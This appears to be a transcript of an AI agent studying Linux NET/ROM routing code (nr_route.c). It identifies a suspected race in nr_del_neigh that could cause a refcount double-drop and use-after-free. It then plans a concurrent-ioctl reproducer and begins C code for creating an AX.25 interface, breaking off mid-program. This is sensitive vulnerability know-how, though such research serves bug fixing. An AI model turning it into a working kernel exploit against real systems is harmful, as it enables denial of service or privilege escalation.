Okay, hold on a second. I need to make sure I'm following the correct execution path here. I had a hunch about `nr_rt_device_down` and its potential role, but the code isn't lining up quite right in my head. Does `nr_rt_device_down` actually call `__nr_remove_neigh(s)` directly? I thought I had a reference to that. The reference search *seemed* to confirm it, indicating that line 543 of `nr_rt_device_down` calls `__nr_remove_neigh`. But, wait a minute, the snippet I was just looking at said something about `nr_remove_neigh_locked(s)`. Okay, so clearly there's a discrepancy that needs to be clarified, and the code confirms my suspicion. I need to check line 543 in `net/netrom/nr_route.c` to see which function call is actually made there to resolve the confusion. This is where the root cause lies.

map[File:net/netrom/nr_route.c]

map[Contents:// SPDX-License-Identifier: GPL-2.0-or-later
/*
 *
 * Copyright Jonathan Naylor G4KLX (g4klx@g4klx.demon.co.uk)
 * Copyright Alan Cox GW4PTS (alan@lxorguk.ukuu.org.uk)
 * Copyright Tomi Manninen OH2BNS (oh2bns@sral.fi)
 */
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/socket.h>
#include <linux/in.h>
#include <linux/kernel.h>
#include <linux/timer.h>
#include <linux/string.h>
#include <linux/sockios.h>
#include <linux/net.h>
#include <linux/slab.h>
#include <net/ax25.h>
#include <linux/inet.h>
#include <linux/netdevice.h>
#include <net/arp.h>
#include <linux/if_arp.h>
#include <linux/skbuff.h>
#include <net/sock.h>
#include <linux/uaccess.h>
#include <linux/fcntl.h>
#include <linux/termios.h>	/* For TIOCINQ/OUTQ */
#include <linux/mm.h>
#include <linux/interrupt.h>
#include <linux/notifier.h>
#include <linux/init.h>
#include <linux/spinlock.h>
#include <net/netrom.h>
#include <linux/seq_file.h>
#include <linux/export.h>

static unsigned int nr_neigh_no = 1;

static HLIST_HEAD(nr_node_list);
static DEFINE_SPINLOCK(nr_node_list_lock);
static HLIST_HEAD(nr_neigh_list);
static DEFINE_SPINLOCK(nr_neigh_list_lock);

static struct nr_node *nr_node_get(ax25_address *callsign)
{
	struct nr_node *found = NULL;
	struct nr_node *nr_node;

	spin_lock_bh(&nr_node_list_lock);
	nr_node_for_each(nr_node, &nr_node_list)
		if (ax25cmp(callsign, &nr_node->callsign) == 0) {
			nr_node_hold(nr_node);
			found = nr_node;
			break;
		}
	spin_unlock_bh(&nr_node_list_lock);
	return found;
}

static struct nr_neigh *nr_neigh_get_dev(ax25_address *callsign,
					 struct net_device *dev)
{
	struct nr_neigh *found = NULL;
	struct nr_neigh *nr_neigh;

	spin_lock_bh(&nr_neigh_list_lock);
	nr_neigh_for_each(nr_neigh, &nr_neigh_list)
		if (ax25cmp(callsign, &nr_neigh->callsign) == 0 &&
		    nr_neigh->dev == dev) {
			nr_neigh_hold(nr_neigh);
			found = nr_neigh;
			break;
		}
	spin_unlock_bh(&nr_neigh_list_lock);
	return found;
}

static void nr_remove_neigh(struct nr_neigh *);

/*      re-sort the routes in quality order.    */
static void re_sort_routes(struct nr_node *nr_node, int x, int y)
{
	if (nr_node->routes[y].quality > nr_node->routes[x].quality) {
		if (nr_node->which == x)
			nr_node->which = y;
		else if (nr_node->which == y)
			nr_node->which = x;

		swap(nr_node->routes[x], nr_node->routes[y]);
	}
}

/*
 *	Add a new route to a node, and in the process add the node and the
 *	neighbour if it is new.
 */
static int __must_check nr_add_node(ax25_address *nr, const char *mnemonic,
	ax25_address *ax25, ax25_digi *ax25_digi, struct net_device *dev,
	int quality, int obs_count)
{
	struct nr_node  *nr_node;
	struct nr_neigh *nr_neigh;
	int i, found;
	struct net_device *odev;

	if ((odev=nr_dev_get(nr)) != NULL) {	/* Can't add routes to ourself */
		dev_put(odev);
		return -EINVAL;
	}

	nr_node = nr_node_get(nr);

	nr_neigh = nr_neigh_get_dev(ax25, dev);

	/*
	 * The L2 link to a neighbour has failed in the past
	 * and now a frame comes from this neighbour. We assume
	 * it was a temporary trouble with the link and reset the
	 * routes now (and not wait for a node broadcast).
	 */
	if (nr_neigh != NULL && nr_neigh->failed != 0 && quality == 0) {
		struct nr_node *nr_nodet;

		spin_lock_bh(&nr_node_list_lock);
		nr_node_for_each(nr_nodet, &nr_node_list) {
			nr_node_lock(nr_nodet);
			for (i = 0; i < nr_nodet->count; i++)
				if (nr_nodet->routes[i].neighbour == nr_neigh)
					if (i < nr_nodet->which)
						nr_nodet->which = i;
			nr_node_unlock(nr_nodet);
		}
		spin_unlock_bh(&nr_node_list_lock);
	}

	if (nr_neigh != NULL)
		nr_neigh->failed = 0;

	if (quality == 0 && nr_neigh != NULL && nr_node != NULL) {
		nr_neigh_put(nr_neigh);
		nr_node_put(nr_node);
		return 0;
	}

	if (nr_neigh == NULL) {
		if ((nr_neigh = kmalloc(sizeof(*nr_neigh), GFP_ATOMIC)) == NULL) {
			if (nr_node)
				nr_node_put(nr_node);
			return -ENOMEM;
		}

		nr_neigh->callsign = *ax25;
		nr_neigh->digipeat = NULL;
		nr_neigh->ax25     = NULL;
		nr_neigh->dev      = dev;
		nr_neigh->quality  = READ_ONCE(sysctl_netrom_default_path_quality);
		nr_neigh->locked   = 0;
		nr_neigh->count    = 0;
		nr_neigh->number   = nr_neigh_no++;
		nr_neigh->failed   = 0;
		refcount_set(&nr_neigh->refcount, 1);

		if (ax25_digi != NULL && ax25_digi->ndigi > 0) {
			nr_neigh->digipeat = kmemdup(ax25_digi,
						     sizeof(*ax25_digi),
						     GFP_KERNEL);
			if (nr_neigh->digipeat == NULL) {
				kfree(nr_neigh);
				if (nr_node)
					nr_node_put(nr_node);
				return -ENOMEM;
			}
		}

		spin_lock_bh(&nr_neigh_list_lock);
		hlist_add_head(&nr_neigh->neigh_node, &nr_neigh_list);
		nr_neigh_hold(nr_neigh);
		spin_unlock_bh(&nr_neigh_list_lock);
	}

	if (quality != 0 && ax25cmp(nr, ax25) == 0 && !nr_neigh->locked)
		nr_neigh->quality = quality;

	if (nr_node == NULL) {
		if ((nr_node = kmalloc(sizeof(*nr_node), GFP_ATOMIC)) == NULL) {
			if (nr_neigh)
				nr_neigh_put(nr_neigh);
			return -ENOMEM;
		}

		nr_node->callsign = *nr;
		strscpy(nr_node->mnemonic, mnemonic);

		nr_node->which = 0;
		nr_node->count = 1;
		refcount_set(&nr_node->refcount, 1);
		spin_lock_init(&nr_node->node_lock);

		nr_node->routes[0].quality   = quality;
		nr_node->routes[0].obs_count = obs_count;
		nr_node->routes[0].neighbour = nr_neigh;

		nr_neigh_hold(nr_neigh);
		nr_neigh->count++;

		spin_lock_bh(&nr_node_list_lock);
		hlist_add_head(&nr_node->node_node, &nr_node_list);
		/* refcount initialized at 1 */
		spin_unlock_bh(&nr_node_list_lock);

		nr_neigh_put(nr_neigh);
		return 0;
	}
	nr_node_lock(nr_node);

	if (quality != 0)
		strscpy(nr_node->mnemonic, mnemonic);

	for (found = 0, i = 0; i < nr_node->count; i++) {
		if (nr_node->routes[i].neighbour == nr_neigh) {
			nr_node->routes[i].quality   = quality;
			nr_node->routes[i].obs_count = obs_count;
			found = 1;
			break;
		}
	}

	if (!found) {
		/* We have space at the bottom, slot it in */
		if (nr_node->count < 3) {
			nr_node->routes[2] = nr_node->routes[1];
			nr_node->routes[1] = nr_node->routes[0];

			nr_node->routes[0].quality   = quality;
			nr_node->routes[0].obs_count = obs_count;
			nr_node->routes[0].neighbour = nr_neigh;

			nr_node->which++;
			nr_node->count++;
			nr_neigh_hold(nr_neigh);
			nr_neigh->count++;
		} else {
			/* It must be better than the worst */
			if (quality > nr_node->routes[2].quality) {
				nr_node->routes[2].neighbour->count--;
				nr_neigh_put(nr_node->routes[2].neighbour);

				if (nr_node->routes[2].neighbour->count == 0 && !nr_node->routes[2].neighbour->locked)
					nr_remove_neigh(nr_node->routes[2].neighbour);

				nr_node->routes[2].quality   = quality;
				nr_node->routes[2].obs_count = obs_count;
				nr_node->routes[2].neighbour = nr_neigh;

				nr_neigh_hold(nr_neigh);
				nr_neigh->count++;
			}
		}
	}

	/* Now re-sort the routes in quality order */
	switch (nr_node->count) {
	case 3:
		re_sort_routes(nr_node, 0, 1);
		re_sort_routes(nr_node, 1, 2);
		fallthrough;
	case 2:
		re_sort_routes(nr_node, 0, 1);
		break;
	case 1:
		break;
	}

	for (i = 0; i < nr_node->count; i++) {
		if (nr_node->routes[i].neighbour == nr_neigh) {
			if (i < nr_node->which)
				nr_node->which = i;
			break;
		}
	}

	nr_neigh_put(nr_neigh);
	nr_node_unlock(nr_node);
	nr_node_put(nr_node);
	return 0;
}

static void nr_remove_node_locked(struct nr_node *nr_node)
{
	lockdep_assert_held(&nr_node_list_lock);

	hlist_del_init(&nr_node->node_node);
	nr_node_put(nr_node);
}

static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}

#define nr_remove_neigh_locked(__neigh) \
	__nr_remove_neigh(__neigh)

static void nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	spin_lock_bh(&nr_neigh_list_lock);
	__nr_remove_neigh(nr_neigh);
	spin_unlock_bh(&nr_neigh_list_lock);
}

/*
 *	"Delete" a node. Strictly speaking remove a route to a node. The node
 *	is only deleted if no routes are left to it.
 */
static int nr_del_node(ax25_address *callsign, ax25_address *neighbour, struct net_device *dev)
{
	struct nr_node  *nr_node;
	struct nr_neigh *nr_neigh;
	int i;

	nr_node = nr_node_get(callsign);

	if (nr_node == NULL)
		return -EINVAL;

	nr_neigh = nr_neigh_get_dev(neighbour, dev);

	if (nr_neigh == NULL) {
		nr_node_put(nr_node);
		return -EINVAL;
	}

	spin_lock_bh(&nr_node_list_lock);
	nr_node_lock(nr_node);
	for (i = 0; i < nr_node->count; i++) {
		if (nr_node->routes[i].neighbour == nr_neigh) {
			nr_neigh->count--;
			nr_neigh_put(nr_neigh);

			if (nr_neigh->count == 0 && !nr_neigh->locked)
				nr_remove_neigh(nr_neigh);
			nr_neigh_put(nr_neigh);

			nr_node->count--;

			if (nr_node->count == 0) {
				nr_remove_node_locked(nr_node);
			} else {
				switch (i) {
				case 0:
					nr_node->routes[0] = nr_node->routes[1];
					fallthrough;
				case 1:
					nr_node->routes[1] = nr_node->routes[2];
					fallthrough;
				case 2:
					break;
				}
				nr_node_put(nr_node);
			}
			nr_node_unlock(nr_node);
			spin_unlock_bh(&nr_node_list_lock);

			return 0;
		}
	}
	nr_neigh_put(nr_neigh);
	nr_node_unlock(nr_node);
	spin_unlock_bh(&nr_node_list_lock);
	nr_node_put(nr_node);

	return -EINVAL;
}

/*
 *	Lock a neighbour with a quality.
 */
static int __must_check nr_add_neigh(ax25_address *callsign,
	ax25_digi *ax25_digi, struct net_device *dev, unsigned int quality)
{
	struct nr_neigh *nr_neigh;

	nr_neigh = nr_neigh_get_dev(callsign, dev);
	if (nr_neigh) {
		nr_neigh->quality = quality;
		nr_neigh->locked  = 1;
		nr_neigh_put(nr_neigh);
		return 0;
	}

	if ((nr_neigh = kmalloc(sizeof(*nr_neigh), GFP_ATOMIC)) == NULL)
		return -ENOMEM;

	nr_neigh->callsign = *callsign;
	nr_neigh->digipeat = NULL;
	nr_neigh->ax25     = NULL;
	nr_neigh->dev      = dev;
	nr_neigh->quality  = quality;
	nr_neigh->locked   = 1;
	nr_neigh->count    = 0;
	nr_neigh->number   = nr_neigh_no++;
	nr_neigh->failed   = 0;
	refcount_set(&nr_neigh->refcount, 1);

	if (ax25_digi != NULL && ax25_digi->ndigi > 0) {
		nr_neigh->digipeat = kmemdup(ax25_digi, sizeof(*ax25_digi),
					     GFP_KERNEL);
		if (nr_neigh->digipeat == NULL) {
			kfree(nr_neigh);
			return -ENOMEM;
		}
	}

	spin_lock_bh(&nr_neigh_list_lock);
	hlist_add_head(&nr_neigh->neigh_node, &nr_neigh_list);
	/* refcount is initialized at 1 */
	spin_unlock_bh(&nr_neigh_list_lock);

	return 0;
}

/*
 *	"Delete" a neighbour. The neighbour is only removed if the number
 *	of nodes that may use it is zero.
 */
static int nr_del_neigh(ax25_address *callsign, struct net_device *dev, unsigned int quality)
{
	struct nr_neigh *nr_neigh;

	nr_neigh = nr_neigh_get_dev(callsign, dev);

	if (nr_neigh == NULL) return -EINVAL;

	nr_neigh->quality = quality;
	nr_neigh->locked  = 0;

	if (nr_neigh->count == 0)
		nr_remove_neigh(nr_neigh);
	nr_neigh_put(nr_neigh);

	return 0;
}

/*
 *	Decrement the obsolescence count by one. If a route is reduced to a
 *	count of zero, remove it. Also remove any unlocked neighbours with
 *	zero nodes routing via it.
 */
static int nr_dec_obs(void)
{
	struct nr_neigh *nr_neigh;
	struct nr_node  *s;
	struct hlist_node *nodet;
	int i;

	spin_lock_bh(&nr_node_list_lock);
	nr_node_for_each_safe(s, nodet, &nr_node_list) {
		nr_node_lock(s);
		for (i = 0; i < s->count; i++) {
			switch (s->routes[i].obs_count) {
			case 0:		/* A locked entry */
				break;

			case 1:		/* From 1 -> 0 */
				nr_neigh = s->routes[i].neighbour;

				nr_neigh->count--;
				nr_neigh_put(nr_neigh);

				if (nr_neigh->count == 0 && !nr_neigh->locked)
					nr_remove_neigh(nr_neigh);

				s->count--;

				switch (i) {
				case 0:
					s->routes[0] = s->routes[1];
					fallthrough;
				case 1:
					s->routes[1] = s->routes[2];
					break;
				case 2:
					break;
				}
				break;

			default:
				s->routes[i].obs_count--;
				break;

			}
		}

		if (s->count <= 0)
			nr_remove_node_locked(s);
		nr_node_unlock(s);
	}
	spin_unlock_bh(&nr_node_list_lock);

	return 0;
}

/*
 *	A device has been removed. Remove its routes and neighbours.
 */
void nr_rt_device_down(struct net_device *dev)
{
	struct nr_neigh *s;
	struct hlist_node *nodet, *node2t;
	struct nr_node  *t;
	int i;

	spin_lock_bh(&nr_neigh_list_lock);
	nr_neigh_for_each_safe(s, nodet, &nr_neigh_list) {
		if (s->dev == dev) {
			spin_lock_bh(&nr_node_list_lock);
			nr_node_for_each_safe(t, node2t, &nr_node_list) {
				nr_node_lock(t);
				for (i = 0; i < t->count; i++) {
					if (t->routes[i].neighbour == s) {
						t->count--;

						switch (i) {
						case 0:
							t->routes[0] = t->routes[1];
							fallthrough;
						case 1:
							t->routes[1] = t->routes[2];
							break;
						case 2:
							break;
						}
					}
				}

				if (t->count <= 0)
					nr_remove_node_locked(t);
				nr_node_unlock(t);
			}
			spin_unlock_bh(&nr_node_list_lock);

			nr_remove_neigh_locked(s);
		}
	}
	spin_unlock_bh(&nr_neigh_list_lock);
}

/*
 *	Check that the device given is a valid AX.25 interface that is "up".
 *	Or a valid ethernet interface with an AX.25 callsign binding.
 */
static struct net_device *nr_ax25_dev_get(char *devname)
{
	struct net_device *dev;

	if ((dev = dev_get_by_name(&init_net, devname)) == NULL)
		return NULL;

	if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
		return dev;

	dev_put(dev);
	return NULL;
}

/*
 *	Find the first active NET/ROM device, usually "nr0".
 */
struct net_device *nr_dev_first(void)
{
	struct net_device *dev, *first = NULL;

	rcu_read_lock();
	for_each_netdev_rcu(&init_net, dev) {
		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_NETROM)
			if (first == NULL || strncmp(dev->name, first->name, 3) < 0)
				first = dev;
	}
	dev_hold(first);
	rcu_read_unlock();

	return first;
}

/*
 *	Find the NET/ROM device for the given callsign.
 */
struct net_device *nr_dev_get(ax25_address *addr)
{
	struct net_device *dev;

	rcu_read_lock();
	for_each_netdev_rcu(&init_net, dev) {
		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_NETROM &&
		    ax25cmp(addr, (const ax25_address *)dev->dev_addr) == 0) {
			dev_hold(dev);
			goto out;
		}
	}
	dev = NULL;
out:
	rcu_read_unlock();
	return dev;
}

static ax25_digi *nr_call_to_digi(ax25_digi *digi, int ndigis,
	ax25_address *digipeaters)
{
	int i;

	if (ndigis == 0)
		return NULL;

	for (i = 0; i < ndigis; i++) {
		digi->calls[i]    = digipeaters[i];
		digi->repeated[i] = 0;
	}

	digi->ndigi      = ndigis;
	digi->lastrepeat = -1;

	return digi;
}

/*
 *	Handle the ioctls that control the routing functions.
 */
int nr_rt_ioctl(unsigned int cmd, void __user *arg)
{
	struct nr_route_struct nr_route;
	struct net_device *dev;
	ax25_digi digi;
	int ret;

	switch (cmd) {
	case SIOCADDRT:
		if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
			return -EFAULT;
		if (nr_route.ndigis > AX25_MAX_DIGIS)
			return -EINVAL;
		if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
			return -EINVAL;
		switch (nr_route.type) {
		case NETROM_NODE:
			if (strnlen(nr_route.mnemonic, 7) == 7) {
				ret = -EINVAL;
				break;
			}

			ret = nr_add_node(&nr_route.callsign,
				nr_route.mnemonic,
				&nr_route.neighbour,
				nr_call_to_digi(&digi, nr_route.ndigis,
						nr_route.digipeaters),
				dev, nr_route.quality,
				nr_route.obs_count);
			break;
		case NETROM_NEIGH:
			ret = nr_add_neigh(&nr_route.callsign,
				nr_call_to_digi(&digi, nr_route.ndigis,
						nr_route.digipeaters),
				dev, nr_route.quality);
			break;
		default:
			ret = -EINVAL;
		}
		dev_put(dev);
		return ret;

	case SIOCDELRT:
		if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
			return -EFAULT;
		if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
			return -EINVAL;
		switch (nr_route.type) {
		case NETROM_NODE:
			ret = nr_del_node(&nr_route.callsign,
				&nr_route.neighbour, dev);
			break;
		case NETROM_NEIGH:
			ret = nr_del_neigh(&nr_route.callsign,
				dev, nr_route.quality);
			break;
		default:
			ret = -EINVAL;
		}
		dev_put(dev);
		return ret;

	case SIOCNRDECOBS:
		return nr_dec_obs();

	default:
		return -EINVAL;
	}

	return 0;
}

/*
 * 	A level 2 link has timed out, therefore it appears to be a poor link,
 *	then don't use that neighbour until it is reset.
 */
void nr_link_failed(ax25_cb *ax25, int reason)
{
	struct nr_neigh *s, *nr_neigh = NULL;
	struct nr_node  *nr_node = NULL;

	spin_lock_bh(&nr_neigh_list_lock);
	nr_neigh_for_each(s, &nr_neigh_list) {
		if (s->ax25 == ax25) {
			nr_neigh_hold(s);
			nr_neigh = s;
			break;
		}
	}
	spin_unlock_bh(&nr_neigh_list_lock);

	if (nr_neigh == NULL)
		return;

	nr_neigh->ax25 = NULL;
	ax25_cb_put(ax25);

	if (++nr_neigh->failed < READ_ONCE(sysctl_netrom_link_fails_count)) {
		nr_neigh_put(nr_neigh);
		return;
	}
	spin_lock_bh(&nr_node_list_lock);
	nr_node_for_each(nr_node, &nr_node_list) {
		nr_node_lock(nr_node);
		if (nr_node->which < nr_node->count &&
		    nr_node->routes[nr_node->which].neighbour == nr_neigh)
			nr_node->which++;
		nr_node_unlock(nr_node);
	}
	spin_unlock_bh(&nr_node_list_lock);
	nr_neigh_put(nr_neigh);
}

/*
 *	Route a frame to an appropriate AX.25 connection. A NULL ax25_cb
 *	indicates an internally generated frame.
 */
int nr_route_frame(struct sk_buff *skb, ax25_cb *ax25)
{
	ax25_address *nr_src, *nr_dest;
	struct nr_neigh *nr_neigh;
	struct nr_node  *nr_node;
	struct net_device *dev;
	unsigned char *dptr;
	ax25_cb *ax25s;
	int ret;
	struct sk_buff *nskb, *oskb;

	/*
	 * Reject malformed packets early. Check that it contains at least 2
	 * addresses and 1 byte more for Time-To-Live
	 */
	if (skb->len < 2 * sizeof(ax25_address) + 1)
		return 0;

	nr_src  = (ax25_address *)(skb->data + 0);
	nr_dest = (ax25_address *)(skb->data + 7);

	if (ax25 != NULL) {
		ret = nr_add_node(nr_src, "", &ax25->dest_addr, ax25->digipeat,
				  ax25->ax25_dev->dev, 0,
				  READ_ONCE(sysctl_netrom_obsolescence_count_initialiser));
		if (ret)
			return ret;
	}

	if ((dev = nr_dev_get(nr_dest)) != NULL) {	/* Its for me */
		if (ax25 == NULL)			/* Its from me */
			ret = nr_loopback_queue(skb);
		else
			ret = nr_rx_frame(skb, dev);
		dev_put(dev);
		return ret;
	}

	if (!READ_ONCE(sysctl_netrom_routing_control) && ax25 != NULL)
		return 0;

	/* Its Time-To-Live has expired */
	if (skb->data[14] == 1) {
		return 0;
	}

	nr_node = nr_node_get(nr_dest);
	if (nr_node == NULL)
		return 0;
	nr_node_lock(nr_node);

	if (nr_node->which >= nr_node->count) {
		nr_node_unlock(nr_node);
		nr_node_put(nr_node);
		return 0;
	}

	nr_neigh = nr_node->routes[nr_node->which].neighbour;

	if ((dev = nr_dev_first()) == NULL) {
		nr_node_unlock(nr_node);
		nr_node_put(nr_node);
		return 0;
	}

	/* We are going to change the netrom headers so we should get our
	   own skb, we also did not know until now how much header space
	   we had to reserve... - RXQ */
	nskb = skb_copy_expand(skb, dev->hard_header_len, 0, GFP_ATOMIC);

	if (!nskb) {
		nr_node_unlock(nr_node);
		nr_node_put(nr_node);
		dev_put(dev);
		return 0;
	}
	oskb = skb;
	skb = nskb;
	skb->data[14]--;

	dptr  = skb_push(skb, 1);
	*dptr = AX25_P_NETROM;

	ax25s = nr_neigh->ax25;
	nr_neigh->ax25 = ax25_send_frame(skb, 256,
					 (const ax25_address *)dev->dev_addr,
					 &nr_neigh->callsign,
					 nr_neigh->digipeat, nr_neigh->dev);
	if (ax25s)
		ax25_cb_put(ax25s);

	dev_put(dev);
	ret = (nr_neigh->ax25 != NULL);
	nr_node_unlock(nr_node);
	nr_node_put(nr_node);

	if (ret)
		kfree_skb(oskb);

	return ret;
}

#ifdef CONFIG_PROC_FS

static void *nr_node_start(struct seq_file *seq, loff_t *pos)
	__acquires(&nr_node_list_lock)
{
	spin_lock_bh(&nr_node_list_lock);
	return seq_hlist_start_head(&nr_node_list, *pos);
}

static void *nr_node_next(struct seq_file *seq, void *v, loff_t *pos)
{
	return seq_hlist_next(v, &nr_node_list, pos);
}

static void nr_node_stop(struct seq_file *seq, void *v)
	__releases(&nr_node_list_lock)
{
	spin_unlock_bh(&nr_node_list_lock);
}

static int nr_node_show(struct seq_file *seq, void *v)
{
	char buf[11];
	int i;

	if (v == SEQ_START_TOKEN)
		seq_puts(seq,
			 "callsign  mnemonic w n qual obs neigh qual obs neigh qual obs neigh\n");
	else {
		struct nr_node *nr_node = hlist_entry(v, struct nr_node,
						      node_node);

		nr_node_lock(nr_node);
		seq_printf(seq, "%-9s %-7s  %d %d",
			ax2asc(buf, &nr_node->callsign),
			(nr_node->mnemonic[0] == '\0') ? "*" : nr_node->mnemonic,
			nr_node->which + 1,
			nr_node->count);

		for (i = 0; i < nr_node->count; i++) {
			seq_printf(seq, "  %3d   %d %05d",
				nr_node->routes[i].quality,
				nr_node->routes[i].obs_count,
				nr_node->routes[i].neighbour->number);
		}
		nr_node_unlock(nr_node);

		seq_puts(seq, "\n");
	}
	return 0;
}

const struct seq_operations nr_node_seqops = {
	.start = nr_node_start,
	.next = nr_node_next,
	.stop = nr_node_stop,
	.show = nr_node_show,
};

static void *nr_neigh_start(struct seq_file *seq, loff_t *pos)
	__acquires(&nr_neigh_list_lock)
{
	spin_lock_bh(&nr_neigh_list_lock);
	return seq_hlist_start_head(&nr_neigh_list, *pos);
}

static void *nr_neigh_next(struct seq_file *seq, void *v, loff_t *pos)
{
	return seq_hlist_next(v, &nr_neigh_list, pos);
}

static void nr_neigh_stop(struct seq_file *seq, void *v)
	__releases(&nr_neigh_list_lock)
{
	spin_unlock_bh(&nr_neigh_list_lock);
}

static int nr_neigh_show(struct seq_file *seq, void *v)
{
	char buf[11];
	int i;

	if (v == SEQ_START_TOKEN)
		seq_puts(seq, "addr  callsign  dev  qual lock count failed digipeaters\n");
	else {
		struct nr_neigh *nr_neigh;

		nr_neigh = hlist_entry(v, struct nr_neigh, neigh_node);
		seq_printf(seq, "%05d %-9s %-4s  %3d    %d   %3d    %3d",
			nr_neigh->number,
			ax2asc(buf, &nr_neigh->callsign),
			nr_neigh->dev ? nr_neigh->dev->name : "???",
			nr_neigh->quality,
			nr_neigh->locked,
			nr_neigh->count,
			nr_neigh->failed);

		if (nr_neigh->digipeat != NULL) {
			for (i = 0; i < nr_neigh->digipeat->ndigi; i++)
				seq_printf(seq, " %s",
					   ax2asc(buf, &nr_neigh->digipeat->calls[i]));
		}

		seq_puts(seq, "\n");
	}
	return 0;
}

const struct seq_operations nr_neigh_seqops = {
	.start = nr_neigh_start,
	.next = nr_neigh_next,
	.stop = nr_neigh_stop,
	.show = nr_neigh_show,
};
#endif

/*
 *	Free all memory associated with the nodes and routes lists.
 */
void nr_rt_free(void)
{
	struct nr_neigh *s = NULL;
	struct nr_node  *t = NULL;
	struct hlist_node *nodet;

	spin_lock_bh(&nr_neigh_list_lock);
	spin_lock_bh(&nr_node_list_lock);
	nr_node_for_each_safe(t, nodet, &nr_node_list) {
		nr_node_lock(t);
		nr_remove_node_locked(t);
		nr_node_unlock(t);
	}
	nr_neigh_for_each_safe(s, nodet, &nr_neigh_list) {
		while(s->count) {
			s->count--;
			nr_neigh_put(s);
		}
		nr_remove_neigh_locked(s);
	}
	spin_unlock_bh(&nr_node_list_lock);
	spin_unlock_bh(&nr_neigh_list_lock);
}
]

gemini-3.1-pro-preview

							input: 28471
							output: 74
							thoughts: 1299
						

**Analyzing a Race Condition in Netrom's Neighbour Handling**

Okay, so I've been digging into this Netrom code, and it looks like I've found a concurrency bug. First, `nr_remove_neigh_locked` is a macro, which simplifies things. `nr_rt_device_down` and `nr_rt_free` both call the internal `__nr_remove_neigh` function, which is useful to know.

I wanted to confirm if `nr_del_neigh` could be called concurrently. It's called from `nr_rt_ioctl`, which is, in turn, called through `sock_ioctl`. Crucially, there are no locks protecting `nr_del_neigh` from concurrent execution when multiple threads are interacting with the same `nr_neigh`. I've confirmed this through the call chain: `sock_ioctl` -> `sock_do_ioctl` -> `nr_rt_ioctl`. No locks there, which is a problem.

The bug, as I see it, is this: Two threads could call `nr_del_neigh` on the *same* `nr_neigh` simultaneously. Both threads acquire the neighbor, incrementing the refcount, which is fine initially. Then, both check `if (nr_neigh->count == 0)`. Because the refcount has only been incremented, the check will pass for both threads and they both call `nr_remove_neigh`. This is where it gets nasty.

Thread 1 acquires `nr_neigh_list_lock`, calls `__nr_remove_neigh`, which removes the neighbor from the list (`hlist_del_init`) and then decrements the refcount (`nr_neigh_put`). Thread 2 then *also* acquires the same lock, calls `__nr_remove_neigh`, and it will also delete the neighbor from the list, which is fine, but the subsequent `nr_neigh_put` call will decrement the refcount again, which is a double free. Then, at the end of `nr_del_neigh`, both threads call `nr_neigh_put` again, compounding the problem, leading to a use-after-free situation.

To reproduce this, I figure I need to:

1.  Create a Netrom socket.
2.  Add a Netrom neighbor using `SIOCADDRT` with `NETROM_NEIGH`.
3.  Then call `SIOCDELRT` with `NETROM_NEIGH` concurrently from two threads.

I've examined the `nr_rt_ioctl` handler to verify how the `SIOCADDRT` and `SIOCDELRT` commands are handled. Here are the relevant code snippets:

```c
	case SIOCADDRT:
		if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
			return -EFAULT;
		if (nr_route.ndigis > AX25_MAX_DIGIS)
			return -EINVAL;
		if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
			return -EINVAL;
		switch (nr_route.type) {
		case NETROM_NODE:
            ...
		case NETROM_NEIGH:
			ret = nr_add_neigh(&nr_route.callsign,
				nr_call_to_digi(&digi, nr_route.ndigis,
						nr_route.digipeaters),
				dev, nr_route.quality);
			break;
```

```c
	case SIOCDELRT:
		if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
			return -EFAULT;
		if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
			return -EINVAL;
		switch (nr_route.type) {
		case NETROM_NODE:
            ...
		case NETROM_NEIGH:
			ret = nr_del_neigh(&nr_route.callsign,
				dev, nr_route.quality);
			break;
```

I see that `nr_ax25_dev_get` is called in both cases, which means I need an AX.25 device. It looks like it requires the device to be up (`IFF_UP`) and of type `ARPHRD_AX25`. It looks like I can create a dummy AX.25 device with `ip link add dev ax0 type dummy` and then modify its hardware address. However, it looks like dummy devices can't easily change their hardware type. `mkiss` or

map[Question:How to create an AX.25 network interface (ARPHRD_AX25) in a C program on Linux, and bring it UP? I need it to pass `dev->type == ARPHRD_AX25` and `dev->flags & IFF_UP`.]

map[Answer:To create an AX.25 network interface (`ARPHRD_AX25`) in a C program and bring it UP, the standard approach is to use a **TTY line discipline**. The Linux kernel provides the `mkiss` driver, which implements the `N_AX25` line discipline. When this line discipline is attached to a TTY (such as a physical serial port or a pseudo-terminal), the kernel automatically creates a corresponding network interface (usually named `ax0`, `ax1`, etc.).

### Steps to create and bring UP an AX.25 interface:

1.  **Open a TTY**: You can use a real serial port (e.g., `/dev/ttyS0`) or a pseudo-terminal (PTY) if you want a virtual interface.
2.  **Set the Line Discipline**: Use the `TIOCSETD` ioctl to set the line discipline to `N_AX25` (value 5). This requires `CAP_NET_ADMIN` privileges.
3.  **Get the Interface Name**: Use the `SIOCGIFNAME` ioctl on the TTY file descriptor to retrieve the name of the newly created network device.
4.  **Bring the Interface UP**: Use a socket and the `SIOCSIFFLAGS` ioctl to set the `IFF_UP` flag on the interface.

### Example C Program

The following program creates a virtual AX.25 interface using a PTY and brings it UP.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>

/* N_AX25 is line discipline 5 */
#ifndef N_AX25
#define N_AX25 5
#endif

int main() {
    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Open a PTY master/slave pair to create a virtual TTY */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
